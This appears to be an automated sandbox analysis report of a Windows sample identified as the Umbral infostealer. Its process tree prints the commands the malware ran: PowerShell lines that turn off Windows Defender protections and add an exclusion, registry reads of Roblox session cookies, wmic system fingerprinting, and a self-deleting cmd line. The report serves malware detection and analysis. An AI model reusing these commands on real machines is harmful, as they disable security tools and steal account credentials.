Analysis

  • max time kernel
    421s
  • max time network
    424s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-10-2024 20:35

General

  • Target

    test.exe

  • Size

    227KB

  • MD5

    7132f3f19b959294d470c06af357e192

  • SHA1

    feb85b0836d9a52af2648174e4f53268ca20a309

  • SHA256

    aa59ece71acd81ec09202b22af8e1a9d5664412d9bc99c9aa8ea1522467cc128

  • SHA512

    b2dc88639c96e83a7138c361f43b52bdd62aa17af347fe46b1c007752c6c3e745e3188c6d8e89e4fcf68a506135eb94e9afa190a9b06acbd6304cc3d37ef2491

  • SSDEEP

    6144:eloZM9rIkd8g+EtXHkv/iD40tVZQWRJ66vSgR1EsUcb8e1myi:IoZOL+EP80tVZQWRJ66vSgR1Eu8

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test.exe
    "C:\Users\Admin\AppData\Local\Temp\test.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:448
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\test.exe"
      2⤵
      • Views/modifies file attributes
      PID:2220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\test.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3712
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4836
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1376
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4040
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:1600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4832
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:4700
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\test.exe" && pause
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:892
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:5068

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      6d3e9c29fe44e90aae6ed30ccf799ca8

      SHA1

      c7974ef72264bbdf13a2793ccf1aed11bc565dce

      SHA256

      2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

      SHA512

      60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      948B

      MD5

      0b8cb2e6dd5794b6a56a4bdbbd430fd7

      SHA1

      2b08e348c3489c6a35761af073018e3784c12074

      SHA256

      bcce0d44e33747e4c39df9afbd0a4e98a47ded0188375e4dfdd94cafbb366e1f

      SHA512

      15ce3b588aa80899f69b0313c7e188d886bddbd09783ca732ac33f9ae8e4e017a72b6f98919f581383a4582732575e5faedb0dea87e01cf2b657424945fdf4d2

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      276798eeb29a49dc6e199768bc9c2e71

      SHA1

      5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

      SHA256

      cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

      SHA512

      0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      dcac964589fef8f1dd8c401fc212ad5c

      SHA1

      f518a7cfe430e90f61b5180133b1bc644e7e535f

      SHA256

      658c2ff03e1d130ea4862b82e47c240161a74c70cf3a957568f521507486692e

      SHA512

      b9b9a9b1afe65d9cd9f8a6c243363b7a1425677845c280d5dc4b01627009e73c0cdbec7418107839e832b8f2ece675233c8b4ef4cb4436e8464fca20ceda7871

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ocfvycuv.j5x.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/448-72-0x000001F8E92D0000-0x000001F8E92DA000-memory.dmp

      Filesize

      40KB

    • memory/448-35-0x000001F8E92A0000-0x000001F8E92BE000-memory.dmp

      Filesize

      120KB

    • memory/448-93-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

      Filesize

      10.8MB

    • memory/448-73-0x000001F8E99E0000-0x000001F8E99F2000-memory.dmp

      Filesize

      72KB

    • memory/448-2-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

      Filesize

      10.8MB

    • memory/448-33-0x000001F8E9CC0000-0x000001F8E9D36000-memory.dmp

      Filesize

      472KB

    • memory/448-34-0x000001F8E9A10000-0x000001F8E9A60000-memory.dmp

      Filesize

      320KB

    • memory/448-0-0x00007FFFD20B3000-0x00007FFFD20B5000-memory.dmp

      Filesize

      8KB

    • memory/448-1-0x000001F8E7500000-0x000001F8E7540000-memory.dmp

      Filesize

      256KB

    • memory/3712-15-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

      Filesize

      10.8MB

    • memory/3712-9-0x0000023E49CF0000-0x0000023E49D12000-memory.dmp

      Filesize

      136KB

    • memory/3712-3-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

      Filesize

      10.8MB

    • memory/3712-14-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

      Filesize

      10.8MB

    • memory/3712-18-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

      Filesize

      10.8MB